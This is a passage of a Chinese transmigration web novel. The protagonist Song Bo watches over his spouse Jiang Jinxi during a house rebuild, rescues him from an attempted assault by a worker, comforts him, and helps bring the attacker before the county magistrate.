虽说这地儿不太正经,但墙上挂着的字画倒是有些意蕴,江金熙一眼便看着店内正中墙上挂着的书法,简简单单的八个字,却写出了不俗的底蕴和气度。 宋泊顺着江金熙的眼神看去,见江金熙正盯着自己的作品一眨不眨,他抬手用食指摸了下鼻尖,用喝茶来掩饰自己的局促。 “别看了,不过八个字而已,有什么好看的。”宋泊抬手拦住江金熙的视线,让他转头回来。 江金熙收回视线,嘴里不自觉低喃了一句,“这字写得真好。” 六个字传入宋泊的耳朵里,宋泊莫名觉着有些高兴,只可惜,他不能与江金熙说明那幅字出自他手。 过了会儿,张福财专门送菜来,他道:“送了你两盘新品菜,回去尝尝。” “多谢。”宋泊道。 张福财转身要走,江金熙最终还是没有按捺住内心的好奇,喊住了张福财。 “江夫郞有何事?”张福财转身。 江金熙眼瞧着那幅书法,问,“那幅字怎么没有落款呢?” 张福财跟着看过去,“噢,你说这幅啊。”看清江金熙说的是那幅字以后他便转头回来,“那幅字就是宋” 宋泊躲在江金熙身后,疯狂朝张福财眨眼,眨得眼睛都快抽筋了,张福财才理解他的意思。 “宋?” “是有人送我的。”张福财讪笑着,“我觉着好看就挂上去了,也不知道是谁写的,哈哈哈。” “如此。”江金熙有些遗憾,父亲最喜欢字画,这幅好字若是给他瞧着,必然会花重金买下,如果能知道是谁写的,以后引荐给父亲,那更是喜上加喜。 “好了,我们走吧。”宋泊拎上饭盒,拉上江金熙的手腕。 江金熙觉着现在的宋泊很反常,但他也没有细究,跟着宋泊走了。 在传福镇花了一下午的时间,回到村里的时候夕阳西下,天边一片橙红色。 里正家里村口很近,宋泊便打算先去找杨绘道谢。 “你先回去,我去找一下杨姨。”宋泊道。 “我与你一起。”江金熙答。他还没见过这个村的里正,认识一下里正的面儿,总是有好处的。 送个东西也不会耽误太久,既然江金熙想与他一块儿去,宋泊就带着他一块儿去了。 里正家就是气派,用砖搭成的院子外围在村里可是独一份,占地极广,是个三进院子。 宋泊拉动门环,哐哐两声以后,有人从里头拉开院门。开门的人衣着朴素,手里还拿着个扫帚,应当是里正家中的仆人。 “你找谁?” “杨夫人在吗?”对着家仆说话还是要严肃一些,宋泊便用了比较正式的称呼。 仆人还未进屋通报,就听着一个清脆的女声插话进来,“呀!金熙你怎么在这儿?” 宋泊循声看去,是上次来道歉的女子。 宋灵铃轻快地两步上前牵住江金熙的手,“你们在我家门口做什么呢?” “你家?”宋泊倒是有几分惊讶了,没想到宋灵铃是里正家的姑娘。 “他来给杨夫人送点东西。”江金熙说。 “那就进咯,别在门口站着。”宋灵铃拉着江金熙,两人走在宋泊前头先跨过了门槛。 有宋灵铃带着,宋泊顺利地找着杨绘,杨绘见宋泊带了饭盒来,有些出乎意料,宋茶栽一直说她这个不学无术的侄儿变了,她不相信,只觉着狗是改不了吃屎本性的,可是这次宋泊却送了谢礼过来,不管是不是宋茶栽授意的,终究是一个好举动。 杨绘让他们在屋内坐着,让仆人拿了碗筷来。 “你带了什么好东西来?”宋灵铃早就闻到了饭盒中的香味,馋得不行。 江金熙瞧了宋泊一眼,得宋泊点头以后,他才将饭盒打开。 饭盒一开,香气四溢,仆人正好也拿了餐具上来,宋灵铃坐不住了直往杨绘那儿瞟。 她们家里有规律,长辈没有动手,晚辈是不能率先动筷的。 本来宋泊是想着在门口送完就走,没想到出了岔子进了屋,这下他也不好留一份带走一份,就想着将两份饭菜都留在这里,家中的那份等他下次再打包。 杨绘怎么能瞧不出来,她抬手拦住宋泊还想开盖子的手,说:“行了,送一份就够了,另一份你记着拎回去给茶栽吃。” 第29章 第二十九章开工。 将菜品全都摆出来以后,桌上放着满满当当的六菜一汤,宋泊不知道里正家中有多少人,便按着四口人定的菜,毕竟他在村中只听过里正家有个姑娘,却未再听过他还有别个哥儿或是小伙儿的。 “里正今日不在家中吗?”宋泊问。 “去处理事儿了,不知何时回来。”杨绘话音刚落,就听着个中气十足的声音由远及近,“家中来客了?” 杨绘起身给宋里正开了门。 “看来我回来得正是时候。”宋里正先看着桌上的菜色,随后才瞥见坐在桌边上的人。 看到来者是谁以后,他还以为他年纪大出现幻觉了,不然村中有名的赌鬼怎么会乖乖正正地坐在他家中呢? 宋泊和江金熙都起了身,行了一礼,喊了声“里正”。 宋泊和另一个不认识的哥儿都这么礼貌,宋里正也不好摆脸子,摆摆手算是听过以后,跟杨绘一块儿往厅内走去,坐在她身边。 “这些菜是……?”宋里正问。 宋泊接过话茬,“是我从镇子内打包的。” 平白无故打包菜品送来,定然是有事相求,宋泊能求些什么好事,宋里正腹诽着,已经想好了拒绝宋泊请求的话。 不过直到吃完一顿饭,宋泊都没有说请求的事儿,倒是让他满腹文稿无了用武之地。 吃完饭宋泊不欲久留,跟江金熙小声说了句什么,便起身准备告退。 宋灵铃轻轻拉着江金熙的衣袖,有些不舍,“你就要回去了吗?” “家中还有人等着,不能迟回。”江金熙说。 “我听闻你最近住在宋大夫家中?”宋灵铃问。 宋泊家塌了的这个消息还是传了出来,家塌了,宋泊和江金熙就只能暂时投靠他家,有去宋大夫家看病的村民说宋泊最近暂居在宋大夫家。 既然宋泊住在宋大夫家,江金熙作为他的夫郎,自然也会跟着他一块儿住进宋大夫家。 “是的。”江金熙答。 “那改日我去找你玩儿。”这么说来好像有些自来熟,可宋灵铃就是很喜欢江金熙,想与他搞好关系,“行吗……?” “自然行的。”江金熙答。他在村中待着只能找宋茶栽聊天,这下结识个女孩子,也没什么不好的。 又闲聊两句以后,宋泊拎着宋灵铃给的灯笼,领着江金熙一块儿走了。 看着仆人正在收拾桌上的残羹剩饭,宋里正不解地问向自己的夫人,“宋泊就是单纯的送顿饭来?” “他是谢我来了。”杨绘呡了口茶,答道。 宋泊算是有心了,打包来的菜都是精致菜,做得好看又好吃,吃完一顿饭,杨绘也是心满意足,连带着对宋泊的偏见又减少了些。 “谢你?为何?”宋里正最近忙着村内事,整个人跟个陀螺似的转个不停,今日事情告一段落,他才破天荒地早回来些,有空与杨绘坐着聊天。 杨绘便将她为宋泊招工的事儿说了出来。 宋里正毕竟管着一村的人,每日事儿多,没空理会各家各户的近况,也是杨绘说了以后,他才知道宋泊已经做工去了,还存了钱修房子。 “如此也好。”宋里正说。村里有个刺儿头难以管理他也是很头大,现在刺儿头变了,他确实是有几分喜悦,工作量又少了一些。 “你倒是不怕他欠钱?”宋里正再说。 “就算欠了钱,咱家也出得起。”杨绘说,“不过宋茶栽已经把剩余的钱给了我,欠不得钱。” 杨绘是看在宋茶栽的面子上才答应帮宋泊招人的,这事儿宋茶栽自然知道,等宋泊和江金熙进城买材料之时,宋茶栽来找了她一次,把剩下的钱全都交了。当时杨绘还说她见外,宋茶栽却说亲兄弟也得明算账,若是宋泊真付不上钱,她也不能让这钱毁了她俩的交情。 如此想来,现在的宋泊倒是与宋茶栽有些相似,会了人情世故,相处起来舒心。 “既然钱都接了,可得替人好好看看。”宋里正说。 “欸,我知的。” 翌日,宋泊还是按着时间起床,只不过自今日起,他多了个动作,那便是喊江金熙起床。 房子那儿得江金熙盯着,工人来得早,作为工头的江金熙自然也得起得早。 宋泊从床上坐了起来,左手碰上江金熙的肩膀,轻轻拍了两下,“起床了。” 一次下来江金熙毫无动静,宋泊加大了些力道,声量也抬高了些,这才扰了江金熙的梦。 江金熙睁开眼,眼睛眯成一条缝,被太阳一晒又闭了回去,翻个身两腿夹着被子,像是又要睡去的样子。 宋泊那儿能让他再睡下去,再这么耗下去他去码头上工准得迟到,宋泊心一横,双手一拉,把被*子从江金熙的怀中抽了出来,而后两手插着他的胳肢窝,直接强制江金熙坐起来。 这下江金熙是清醒了,只是还困得不成,哈欠连天。不与宋泊一块儿起来,他还不知道宋泊每天都起得这么早,早起赶路去码头,当真是辛苦。 确定江金熙彻底醒了没有睡回笼觉的可能性以后,宋泊快速地洗了把脸,进了镇。 时隔半个多月,李五终于被阿篮放了出来,他的腿已经好全,走路不见跛,可以搬货,就是得减少搬货的重量与次数,悠着点儿来。 “害,还是搬货得劲,在家里待着我都要长蘑菇了。”李五搬着一袋货,走在宋泊身旁,以往他背惯了两袋,忽而少了一袋还有些不适应。 “要不是嫂子看着你,往后落了病症你都无处哭去。”宋泊说。 “说的是呀。”李五心底知道阿篮是为了他好,可他做惯了活儿,在床上躺了二十多天一动未动,真当是苦了他。 搬货进船得走过两板木板,木板不粗,堪堪可以容纳一人通过,李五走在宋泊身后,看他的脚步一直离木板边沿很近,他忍不住开口道,“欸,小心些,落海里我可救不了你。” “安心,摔不得。”这条路宋泊都走过千百回了,是不会掉进海里的。 午时,太阳正烈,大伙儿聚在棚子下吃午饭,李五扒了两口饭,还是没忍住问,“你今日好像有些心不在焉。” 闻言宋泊看向李五,“有那么明显吗?” 李五没想到自己随意一猜,竟真的猜中了宋泊的情绪,他道:“发生什么事了?” 宋泊把房子塌了的事情告诉了李五,“我家夫郎长得漂亮,我怕有歹人起邪念。” 哥儿和男子的力道相差甚远,如果男子真的有意想要做些什么,哥儿有百分之九十的概率都是逃不脱的。 原著里因为江金熙的美貌对他起歹念的人不再少数,甚至动了手成了事的人也有四、五个,现在让江金熙一人对着那些男子,虽然他早已交代让宋茶栽帮着看着些,可心底总归是放不下心,七上八下的。 “你多心了吧。”李五没见过江金熙,不知道江金熙有多美,他只当宋泊是情人眼里出西施,夸张描述了他夫郎的容貌。“大家都在一个村里,当是做不出这样的事儿。” 听李五这么说,宋泊应了声,“也是。” 下午,宋泊身上搬着货,心思却总是不受控制的飘到村中去,他有些担心江金熙。思来想去,宋泊还是与船老板商量着,每日早半个时辰下工。 肮脏污秽的事儿一般都发生在太阳下山以后,早半个时辰下工,这样他赶回去的时候修房的事儿也结束,刚好可以护着江金熙回家。 到了家附近,远远便听着工人干活儿的声,宋泊未显身形,而是躲在离院子不远的大树后头,悄悄观察着。 江金熙到底是个成年哥儿了,虽然他比别人容易被盯上一些,但也不能剥夺他与别人交流的权利。 一辈子还很长,等主角攻将江金熙带走以后,他肯定无法一直护着江金熙,江金熙也得学着自己护着自己。 道理是这么个道理,但宋泊还是扒在大树后头,仔仔细细观察每个工人的动线。 目前来看一切正常,大家各司其职,有和泥的,有抹墙的,江金熙就坐在院子一角,看着医书时不时抬头看工人一眼,身旁有个小小的纸伞撑着,就算在正午也有阴影挡着,并不热。 江金熙乌黑浓密的秀发上插着那支他给他买的发簪,宋泊的心在这时才落了回去,安心多了。 最后一抹阳光消失,一日修房结束,大伙儿放下自己手里的东西,与江金熙说了声便离开了院子。 走在最后的男子不知是故意的还是不小心的,走过江金熙身旁的时候脚跛了一下就往江金熙那边斜去,还好江金熙反应快,拿身旁的伞抵住了他的动作。 那人慌忙道着歉,点头哈腰地走了。 宋泊的眼神一直盯着他,直到他消失在道路尽头,他才收了眼神回来。 所有工人都走了以后,江金熙才收拾好自己的东西,他拎着一个灯笼,一步一步走得小心翼翼。 宋泊知道他这般小心是怕有耗子突然出现,不过有些事他总是要独自面对的。 宋泊悄悄快了步伐,躲着走在江金熙前头,顺脚踢飞一只大黑耗子。 第30章 第三十章江金熙出事。 一连偷偷观察了三日,工人们都没有什么出格的行为,那个第一天差点压着江金熙的工人也规规矩矩的。 宋泊只当自己忧心过重,错怪了人家。 三日过去,卧房已经有了大概的样子,框框架架已经建好,只缺加固和上瓦,想必只要再过一周,房子就能建成。 这几日宋泊都会等江金熙回了宋茶栽家中以后,在外头算着时间,踩着点儿回去,倒也是藏得极好,没被江金熙发现。 这日,宋泊按着前三日的时间,早早猫到那棵熟悉的大树后头,做着暗中保护的活儿。 只不过今日宋泊看着院内却没有江金熙的身影,伞和木凳还在以往的位置上,木凳上还背着放着本摊开的书,应当是江金熙每日都在看的医书。 许是方便去了,宋泊猜想着,并没有太担心。 忽然旁儿个出现一张脸,把宋泊吓了一跳。 “宋泊?!你在这儿干嘛呢?”穿着一身鹅黄色棉衣的宋灵铃站在宋泊面前问道。 今日她得了个有趣的玩意儿,想与江金熙分享,听说他正在自家院中督工,她才找了过来。远远便瞅着一人扒着棵大树鬼鬼祟祟地往院子里瞧,宋灵铃还以为江金熙被歹人盯上了,这才悄声走到宋泊身前,准备看看这如此大胆的人长何模样。 “嘘!”宋泊被人吓着的心跳还未缓过来,就被宋灵铃的高叫声吓得更快了,“你小声一点。” 知道宋泊与别人言论中的不同以后,宋灵铃也没那么害怕宋泊了,她压了点声音,问:“你在这儿跟贼一般,是想做什么?” “这不是金熙自己督工,我不太放心。”宋泊没有死要面子地强行掖着,大大方方地告诉了宋灵铃原因。 “原来如此。”宋灵铃说。 “还没到我正常下工的时候,你可小点声别惊着金熙了。” “你逃工!”宋灵铃双手叉腰道。 “跟船老板说过了,不是逃工。”宋泊答,“倒是你,你来找金熙?” “是呐,金熙呢?”宋灵铃也往院子里瞅了瞅,一样没见着江金熙的身影。 “你去问问不就知道了。”宋泊道。他与宋灵铃聊天的这段时间,江金熙还没有出现,方便的时间要那么久吗? “行啊。”宋灵铃爽快应声。 “记得别暴露我躲在这儿。”宋泊补上一句。 “知道了。” 宋灵铃从大树后头走了出去,宋泊就瞅着她走到院子里,随便找了个工人,两人说了几句,距离太远他听不着,而后宋灵铃就反身又往他这儿来了。 “怎么样?”宋泊问。 “那个人说金熙落了东西,回宋大夫家一趟,现在都未回来。”宋灵铃把那个工人说的话复述了一遍,“金熙回去了?那我就去宋大夫家中找他好了。” 听宋灵铃这么说,宋泊心觉不妙,他仔细数了下院子里正在工作的工人,发现少了那天最后走的那个工人。 “你还蹲啥呢?金熙回去了。”宋灵铃说完提步就要走,却被宋泊攥住了胳膊,“你干嘛!” “我拜托你一件事。”宋泊语气严肃,眼神认真。 宋灵铃被他看着,心底那抹被攥住的不悦顿时散去,好像有什么她不知道的事情发生了,让她不由自主地也严肃了起来,“你说。” “请你帮我找找金熙,你与我一块儿,往宋大夫家的方向找去。”宋泊说。 “为……为什么?”宋灵铃不解。 “来不及解释了,你若是找着他了,就带他回宋大夫家。”宋泊说完话抬脚就往宋茶栽家的方向跑去。 见宋泊那么着急,宋灵铃也跟着急了起来,她听着宋泊的话,跟着一块儿去了。 宋泊的心脏砰砰跳得飞快,希望是他的担心过度,原著里的剧情并不会发生。 跑回宋茶栽家中,宋茶栽正在前台包药,她还未开口,宋泊就问,“金熙回来了吗?” “回来了一趟,拿着东西又出去了。”宋茶栽答,她看了眼窗外还未暗下的日光,问,“你今儿个怎么回来得这么早?” “大姑你先别包了,与我出来找找金熙。”宋泊道。 这村儿说大不大说小也不小,单靠他与宋灵铃是找不完的,多一个人也多一份力,早些找到江金熙总归是好的。 “金熙怎么了?”宋茶栽立刻放下手中的活儿。 “先找着再说。”话音落下,宋泊脚步一转又出了宋茶栽家。 宋茶栽跟在他脚后,也出了屋子。 既然江金熙已经回来了一趟,那他肯定只会在去往家里的路上被歹人抓走。 宋泊有意往那些犄角旮旯的地方走,终于在一个偏离路线三百米的一个小树丛中,他听到了江金熙的声音。 “你个小贱人,还敢阴我。”男子猛得出拳,就要砸在江金熙的脸上。 江金熙手握着头上的发簪,只等着躲过拳头以后给他脖颈一击。 想是这么想的,但他的手却止不住地颤抖,一想到这是宋泊送与他的簪子,觉着宋泊就站在他身旁一般,颤抖的手缓解不少,抓着簪子的手也有力了些。他深吸一口气,双眼一眨不眨地盯着男子的动作。 一拳飞来,风声呼啸,江金熙强忍着恐惧没有闭眼,只见面前忽而出现一人,那人左手接住男子的拳头,右手握拳重重打在男子的侧脸,把男子打倒在地。 是宋泊来了,宋泊救他来了。 “你没事吧?”宋泊刚刚只粗略看过江金熙的模样,现在歹人还未完全倒下,他不能反身背对着歹人。 “没事……”江金熙松开抓着簪子的手,双腿无力倒在地上。 宋泊听着身后的动静,双眼充血地看着正在爬起的男子,他比他壮硕一些,刚刚也是男子眼上糊了东西,才让他占了个便宜,赚了一拳。 宋泊本身就不会打架,在现代没打过架,在古代更是。 男子从地上爬起来以后,怒气转移到宋泊身上,两人在地上扭打起来。 通过几十天的搬货,宋泊的身体素质有了显著提升,却也不是面前男子的对手,他只能靠着拙劣的拳法,加上一些不要命的蛮劲,挨一拳的同时又还一拳回去。 这般来来回回之下,宋泊渐落下风。 江金熙看宋泊嘴角出了血迹,他两手撑在地上,双腿还在发颤,他上牙咬着下唇,使了狠劲,才从地上站了起来,他找着旁边一根从大树上落下的树枝,树枝很粗,可以当木棍使用,他双手抖着举着木棍,宋泊看到逐渐接近的江金熙,故意被男子压在身/下,让他以后背对着江金熙。 江金熙找准时机,对着男子的后脑就是一下。 男子应声失力,倒在宋泊的身上,江金熙吓得手中木棍脱手,落在地上。 “怎么回事!”宋茶栽和宋灵铃碰巧遇到一块儿,听到这儿有打斗的声音,赶忙摸了过来。 江金熙两手还保持着抓着木棍的动作,上半身的棉衣有被扯开的痕迹,看着狼狈非常,而宋泊正倒在地上,身上压着个昏了过去的彪形大汉。 “宋小姐,帮我一块儿把那人搬开一下。”宋茶栽道。 宋灵铃从眼前的冲击中缓过神来,跟宋茶栽一起把歹人从宋泊身上移开。 压在身上的大山被挪开了,宋泊才能顺畅地喘起气来,他捂着隐隐作疼的肚子,让宋灵铃回去找里正来,又让宋茶栽先把江金熙带回家。 “那你呢?”宋茶栽问。 “我无事,你带他回去以后记得给他先洗个澡换身衣服。”宋泊说。 “行,我喊你姑父来接你。”宋茶栽揽着失神的江金熙,先一步离开了小树林。 宋泊躺在泥地上,面朝着泛着橙红色的天空,脸疼、嘴疼、手疼、肚子疼,却高兴地笑出了声。 还好,他来得及时,还好,歹人还未得手。 不过这打架确实不是他擅长的事儿,以后他可得找些文雅的方式,再不打架了。 等宋灵铃拉着里正赶到现场的时候,宋泊已经有了力气盘腿坐在男子身旁,就怕男子趁他不注意给跑了去。 “这是发生了何事!”宋里正问。 “此人觊觎我家夫郎,将我家夫郎强扯至此,欲行苟且之事,被我抓着。”宋泊答。 “我作证!是真的!”宋灵铃语气愤愤不平。 “什么!”在他管辖的村子里竟然发生如此恶性事件,这可得好好惩治一番。 宋里正喊来几个壮年男子将歹人双手捆住带走,而后蹲下身子问宋泊的身体情况。 “身疼已然很疼,可心疼更甚,宋泊无事,只希望里正能严惩此人。”宋泊道。他只是身体上的疼痛,江金熙确是确确实实挨了这一遭,虽说歹人并未得手,可这般事情已足以他担惊受怕许久。 “自然。”宋里正答。 恒国律法对这种恶性歹人的惩罚极其严厉,就算是未得手,按着历律也得是仗刑五十,加劳改十年。 “你能起得来吗?”宋里正抬手又叫一人来,想着把宋泊从地上扶起来。 正好刘南民在这时赶了过来,宋泊便谢绝了宋里正的好意,让刘南民托着他回家。 30-40 第31章 第三十一章不干净。 刘南民将宋泊从地上扶了起来,单是起身这么个再寻常不过的动作,都扯得他身上疼得不行。 这种拳头打出来的闷痛与被利器划了的锐痛不疼,虽说不是那般痛入心坎,但还是会因着肢体的动作而泛起阵阵痛意。 刘南民与宋泊的关系不算亲近,再加上两个人都是男人,他也说不出什么安慰人的话来,他只能默默调整了下姿势,让宋泊的使力范围小一些,尽可能减少他身体行动的幅度。 回了宋茶栽家,宋茶栽一脸严肃地坐在正厅之中,看到刘南民和宋泊回来了,她才从椅子上起身,上前扶着宋泊坐在椅子上。 后腰碰着椅子把,疼得宋泊吸了口凉气。 “做什么与他打架呢。”宋茶栽心里心疼,不由得抱怨了一句。 “他欺负我夫郎。”宋泊答,只这一点,他就足够豁出命去,与那个歹人拼个你死我活。尽管他与江金熙只是表面夫夫,但江金熙到底是自家夫郞,自家夫郞被别人欺负了去,他还能在旁边淡定地瞧着就有鬼了。 理是这么个理,如果宋泊看着江金熙被别人欺负还能袖手旁观或者怯弱地躲在一旁,宋茶栽只会觉得他孬种。可现在宋泊真的迎了上去,一身伤的回来,她又心疼得不行。 看来宋泊多少对江金熙是有些真感情的,不然怎么敢直面迎上歹人。她刚刚可是看明白了,那歹人的身形比宋泊大不少,与他对上,宋泊定然是讨不着好处的。 “短短一个月,伤了两次,这个身体还要不要了。”宋茶栽说。 宋泊也不想如此,可此刻他不好反驳宋茶栽的话,等会儿再撞枪口上,只好憨憨笑了两声,算是回应。 “金熙呢?”宋泊问。 “洗澡去了。”说起江金熙,宋茶栽更是愁上加愁,怎么说她也看着江金熙快一个月了,早就将他当做自家孩子看待,谁也没想到在村子里会发生这种恶性事件。 这事儿肯定会在江金熙的心里留下一抹抹不去的阴影,这身病好治,心病却是难医。 “也好,等会我去把那身衣服包起来。”宋泊说。 “包起来作甚?”宋茶栽问,“这等带着污物不扔了还要留下来?” “宋里正说他要把歹人送到县衙去,到时候对簿公堂肯定得要证据。”宋泊答,还扔了,他巴不得把那衣服烧成灰让江金熙再也瞧不着才好,可是不行,它还需当做重要证物,再留存一段时间。 人证物证俱在,那人定罪肯定是板上钉钉的事儿。 “好啊。”宋茶栽听着宋里正的安排,只觉着心中一口浊气得以吐出,敢对江金熙胡作非为的人,就得送到衙门去,让县令惩他一惩,“让捕快给他打死才痛快。” “是啊,所以我一定得带着证据去。”一向忠良的宋泊在这时也起了怒意,头一次起了想要别人死的想法。 两人说着话,慢慢便过去一刻钟时间,江金熙还未出现,宋泊起了几分担心,“金熙洗了有多久了?” 宋茶栽想了一下,接着猛然说着,“已经进去快两刻钟的时间了。” 正常人家就算加上洗头发,最多也只花一刻钟的时间,宋泊立即从位子上起来,赶去浴房,他怕江金熙想不开,伤了自己。 疾步到了浴房前,宋泊支着脖子想往里头瞧,可浴房内隔了几个屏风,从外头看不到什么影子,他只好敲了敲门框,发出叩叩的响声,问,“金熙,你洗好了吗?” 过了大约两个呼吸的时间,江金熙的声音才从浴房中传出来,“你要用浴房吗?那我马上出来。” 听江金熙的声音还算平稳,宋泊松了口气,“没事儿,你慢慢洗,我不着急洗澡。” 宋泊话音落下以后,抬腿就要走,可能是江金熙沿窗看到了宋泊模糊的影子在晃动,他急道:“你、你能不能别走?”声音里带着几分不易察觉的颤抖。 江金熙还在害怕。 宋泊呡了下唇,拳头渐渐握了起来。 他几个深呼吸,平息了下情绪,尽量温柔地回道:“好,我就在门口守着,任何一个人都无法靠近这里。” “好。”江金熙说。 外头秋风吹着,里头传来泼水的声音,宋泊一丝旖旎的想法都没有,只想着赶紧将那个歹人绳之以法,让他吃仗刑。 又过了一会儿,水声渐停,江金熙才终于从浴房里出来。 浴房门一打开,雾气从里头飘了出来,将江金熙笼罩在其中,他头发湿漉漉的搭在肩膀上,两只眼睛边都有淡红的红晕,就像一个濒临破碎的瓷娃娃一般,让人心痛得像被针扎了一般。 “我给你擦头发吧。”就算再换位思考,宋泊终究不是江金熙,无法真正的感同身受,他现在能做的就是细心呵护着江金熙,把他心上的裂缝补上。 面前人头发微乱,脸上青一块紫一块,嘴角还有干涸的血迹,身上衣裳沾了泥土,倍儿显脏,如此狼狈的人顾不上自己,却想着给他擦头发。 江金熙忽然眼眶一热,一颗晶莹的泪珠顺着他的眼眶而出,划过白皙的脸颊,最终滴入泥土之中。 宋泊瞬间手足无措起来,他想给江金熙擦泪,但手上什么东西都没有,用衣袖太脏。他想着浴房里的浴巾,便三步并作两步进了浴房拿过长方形状的白色浴巾。 宋泊站在江金熙面前,两手拿着浴巾展开。 江金熙往前挪了两步,额头一靠,靠在宋泊胸口正中央。 宋泊什么话也未说,只是收紧了手臂,隔着浴巾抱住了江金熙。 许久,江金熙道:“宋泊,我不干净了。” 宋泊长得高,低下头的时候才发现江金熙的后脖颈红彤彤的一片,他在洗澡时肯定下了狠劲,想把那个人的触碰抹去。 “谁说的?”宋泊紧了紧手臂,道:“在我眼里你就是最干净的。” “他碰了我的衣裳。”江金熙说着。 “那又如何?我还碰了他的身子呢。”打了他怎么不算碰他身子呢?宋泊顺着江金熙的话往下歪着说道。 没想到宋泊会这么回答他,江金熙心中的难过散了些许。哥儿和女子的贞洁看的比金子还重,出了这档子事儿,寻常男子定会心存间隙,而宋泊与他们都不同,江金熙感受着宋泊两臂传来的强有力的拥抱,宋泊不仅没有落井下石,反而一直站在他这头为他说话。 江金熙没有再说什么,他从牛角尖里钻了出来,虽然高兴不起来,却也没太过难过。 听着江金熙的呼吸声逐渐平稳,宋泊才发现江金熙在他的怀里睡了过去。 今日发生了这样的事儿,他肯定精神紧绷,如今精神放松睡了过去,倒也正常。 宋泊弯下腰,一手穿过江金熙的腿弯,一手穿过他的腋下,将他牢牢地抱在怀中。 公主抱看着是帅气,就是苦了宋泊了,他每走一步,身上的钝伤都扯得疼,不过这般疼他还能够忍耐。 宋泊一步一步缓慢而坚定地走在去偏房的路上,他的手极稳,连一丝颤抖也无。 宋泊轻轻将江金熙放在床上,掖好被子以后,一片乌黑浓密的头发依旧湿着,这般睡着可是会得风寒的。 宋泊拿着浴巾到外头洗过一遍又拧干了以后,重新坐回床边,轻柔地擦着江金熙的头发,一些头发被他压在脑袋底下,宋泊托起江金熙的头,将那些发丝捋了出来。 宋泊一边擦着江金熙的头发,一边瞧着他的脸,江金熙的睫毛上还有一些晶莹留存,眼睛边的红晕已经散去,脸颊上还有眼泪滑过的痕迹。 事到如今,宋泊也理不清楚江金熙究竟是被偏爱的,还是被抛弃的。上天给了他这副姣好的容貌,却又让他经历那般的事情,也许江金熙就是悬崖上的孤独仙子草,美丽却需要历经风霜。 将江金熙的长发完全擦干他才有闲工夫处理自己身上的伤口。 那个歹人与他一样,打架毫无章法,只胜在力气大。 宋泊站于浴房,脱去身上沾满泥土的衣袍,他低着头看了下身子,四肢、腹部都有不同程度的淤青块儿。 还好那个歹人今日未携带利器,不然他就不只是身上有淤青这般简单了。 躺在浴桶之中,宋泊泡在温热的水里,头往后仰着,靠在木桶边沿。 直到现在,他才终于有了后怕的时间。天知道他刚刚看见歹人对江金熙出手时,有多害怕。 宋泊这才想明白,江金熙在他眼中已经不是一个普通的书中人物,他有血有肉,是个真实的人,是个让他动心的人。 如此想来却是有些造化弄人,他只是一个炮灰攻,而江金熙却是原著中的主角受,这就意味着江金熙注定只会喜欢上主角攻。 炮灰攻与主角受命中注定是无法在一起的。 宋泊身子往浴桶里一滑,嘴唇泡入水中,只余上半的脸儿在外头,热水碰着他的嘴角,刺痛让他的头脑清醒不少。 算了,走一步算一步吧。 第32章 第三十二章散心。 隔日一早,里正就请了人来喊他们,说是今日就要送歹人上霞县,霞县便是管着他们这个村儿的县城。 里正出门自然得有面儿,他雇了两辆马车,马车带着车厢,宋泊、江金熙和宋茶栽三人一辆,宋灵铃和宋里正一辆。 宋茶栽和宋灵铃作为这件事的目击者,自然也得与他们一块儿上霞县。 而那个歹人便没有这么好的待遇,他被绑在牛车板上,两边各坐一个壮年男子看着他,事到如今,他才起了悔意,一路上都在大喊大叫着他错了,他是被鬼迷了心智。 说到最后甚至开始胡言乱语,还妄想把锅甩到江金熙的头上,宋泊听着那些污言秽语都觉着污了耳朵,在车辆休息的时候,扯了歹人身上的衣裳,堵了他的嘴。 一路上江金熙都很安静,宋泊照顾着他的情绪也没硬找话聊,三人坐在马车中,车轮咕噜噜转着,宋茶栽撩开了窗帘。 马车已经行入传福镇,才过半个时辰就能到霞县的县衙门口。 两辆马车后头跟着个五花大绑的人,街上的百姓三三两两聚在一起谈论着。 “噢哟,又是要被押去县衙的人哦。” “好好的人,作甚要去犯法哩。” “他也真是运气不好,县令刚换了人,现在这个县令眼中可容不下沙子哩。” 宋泊听着路上百姓们的交谈声,心底盘算起来。 原著中并未提到霞县,也未说过霞县的县令是何人,希望那儿的县令真的按照她们所说,是个刚正不阿的好官,那他们这趟人物俱全,给歹人定罪应当是板上钉钉的事儿。 江金熙右手撑在窗框上,往外看着,秋风吹过他的脸颊,忽然手上搭在车椅上的左手微微一热,江金熙转头看去,是宋泊的手正覆在他的手之上,“等会儿到了县衙,可能需要你说出事情的经过”宋泊的手握着江金熙的手紧了紧,说,“有些细节不必说得太细,我们有人证、物证在,他推脱不了。” 按理来说,事件经过应当是越详细越好,可宋泊不想江金熙再想起伤心事,因为每想起一次都是对他的再次伤害,便如此劝他。 江金熙反过手,四只手指从宋泊的虎口处握了上来,他微微笑着道:“放心,我没有那么脆弱的。” 马车平稳地到了县衙门口,守门的衙役听闻这是从近里村押上来的犯人,而且还是里正亲自押送的,立即进了衙门内通传。 今日县令正好在县衙中,听了通传让他们将人押进一堂中。 衙役们的动作比村中壮汉还要霸道一些,他们扯了绳子把歹人从车板上拉下来以后,左一个右一个反手往后按住他的胳膊,痛得歹人面目狰狞。 寻常百姓告官或许还需等上一等,但这人是里正押送上来的,大概率就是证据确凿。 县令坐于公堂之上,是个三十多岁的壮年男子,他手边拿着宋里正写的呈状,正一字一句细细看着。 歹人被衙役踢了一脚,噗通一声跪倒在地,接着堵在口中的布条被拿走,他张嘴就开始喊冤。 这般噪音属实扰人,让县令都看不进字了,他抬起头,斜眼瞥了一眼歹人,衙役就上道地把他的嘴重新堵上。 以宋里正为首的五人站在歹人的对立面,安安静静地等着县令发问。 县令看完呈状,将呈状往边儿上一放,看向堂下众人,在看着江金熙的时候,他的眉头轻微一皱,这人看着有些眼熟。 “他的罪状我已了解,把他布扯开吧,听听他怎么说的。”县令摆了下手,衙役又将歹人口中的布拿了下来。 “官老爷,你可得为我做主啊。”歹人挪动着膝盖往前近了几步,“是他先勾引我的,是他引我去树林里,自己脱了衣裳的。” 宋泊送来的棉衣在这时起了作用,县令看着棉衣上被撕扯的痕迹,问:“你是说这也是他扯出来的?” 歹人马上点头。 县令转眼看向江金熙,“你在说说,事情是如何发生的。” 比起歹人的含糊其辞,江金熙说得就十分细致,细致到他什么时候回的宋茶栽家,做了什么事,花了多少时间,都说得清清楚楚。 对比之下便有高低,谁在说谎一听便知。 不过吸引县令的并不是事件过程,而是江金熙的声音,就连这个声音听起来都很熟悉,可县令怎么想都想不出来,究竟在何处见过他。 按理来说,他被贬到这个偏远的霞县,应当没有认识的人才对,县令摩挲下巴思索着。 